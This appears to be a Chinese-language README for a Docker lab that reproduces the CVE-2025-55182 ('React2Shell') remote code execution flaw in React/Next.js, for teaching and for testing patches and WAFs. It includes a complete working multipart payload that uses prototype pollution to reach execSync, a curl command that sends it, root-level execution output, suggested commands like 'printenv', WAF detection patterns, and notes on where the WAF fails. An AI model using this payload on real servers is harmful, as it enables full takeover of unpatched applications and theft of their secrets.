基于 Docker 的测试实验室,用于 React 19.1.0/Next.js 15.1.0 中的 CVE-2025-55182 (React2Shell) RCE 漏洞。包含漏洞利用脚本、使用 NGINX/ModSecurity 的 WAF 绕过测试,以及打补丁版本对比,用于安全教学。
⚠️ 警告: 包含实际可用的远程代码执行(RCE)漏洞。
CVE-2025-55182 (React2Shell) 漏洞测试的容器测试环境。
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
CVSS评分: 10.0 (CRITICAL)
影响: 远程代码执行 (RCE)
身份认证要求: 无
攻击向量: 网络
$1:__proto__:then 实现原型污染$B 前缀)访问child_process 实现 RCE// 攻击载荷结构
{
"then": "$1:__proto__:then", // 污染 Object.prototype.then
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // 触发 Blob 反序列化
"_response": {
"_prefix": "恶意代码", // 要执行的代码
"_formData": {
"get": "$1:constructor:constructor" // 访问 Function constructor
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
需要等待所有容器达到 healthy 状态(大约需要 1-2 分钟)。
Windows (PowerShell):
# 方法1:使用 PowerShell 脚本 (推荐)
.\tests\exploit-working.ps1
# 方法2:直接运行 Node.js
node tests\exploit-working.js
### 第四步:查看结果
可以在服务器日志中查看命令执行结果:
```bash
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ 推荐Windows:
# PowerShell 脚本 (推荐)
.\tests\exploit-working.ps1
# 或直接运行 Node.js
node tests\exploit-working.js
执行内容:
测试的命令:
whoami - 当前用户 (root)hostname - 容器主机名pwd - 工作目录 (/app)id - 完整用户信息uname -a - 系统信息node --version - Node.js 版本# 创建载荷文件
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# 发送攻击
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# 确认日志执行
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
可以修改攻击脚本以执行自定义命令:
// 在 exploit-working.js 文件中:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: '应用目录列表' },
{ name: 'env', cmd: 'printenv', desc: '环境变量输出' }
]
| 端口 | 服务 | React 版本 | 用途 | WAF 状态 |
|---|---|---|---|---|
| 3000 | vulnerable-app | 19.1.0 | 有漏洞 - CVE-2025-55182 测试 | ❌ 无保护 |
| 3001 | patched-app | 19.1.2 | 安全 - 验证补丁效果 | ✅ 已修补 |
| 8080 | nginx → vulnerable | 19.1.0 | WAF 测试 (NGINX) | ⚠️ 有限 (未检查 body) |
| 8081 | apache → vulnerable | 19.1.0 | WAF 测试 (ModSecurity) | ⚠️ 有限 (405 响应) |
| 8082 | nginx → patched | 19.1.2 | 双重保护测试 | ✅ 已修补 |
# 执行有效攻击
node tests/exploit-working.js
# 预期结果:命令执行成功
# 输出:用户信息、系统详细信息等
Windows (PowerShell):
# 使用 PowerShell 脚本
.\tests\exploit-working.ps1 -Port 3001
预期结果: 攻击失败 (React 19.1.2 阻止了攻击)
Windows (PowerShell):
# 通过 NGINX WAF 尝试攻击
.\tests\exploit-working.ps1 -Port 8080
预期结果: 被 WAF 规则拦截
位置: nginx/nginx.conf
检测模式:
__proto__, constructor:constructor$X:__proto__, $B 引用child_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructor拦截动作:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
位置: apache/modsecurity-rules.conf
规则 ID 范围: 100001-100017
主要规则:
__proto__# NGINX 拦截测试
curl -X POST http://localhost:8080/ \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": true}}'
# 预期响应: HTTP 403
# ModSecurity 拦截测试
curl -X POST http://localhost:8081/ \
-H "Next-Action: test#constructor" \
-d '{"data": "test"}'
# 预期响应: HTTP 403
# NGINX 安全日志
docker compose exec nginx tail -f /var/log/nginx/security.log
# Apache ModSecurity 审计日志
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
重要: 当前 WAF 配置存在以下限制:
multipart/form-data body 中,因此无法检测Next-Action 头部,仅靠此头部不足以提供充分保护实际攻击防御: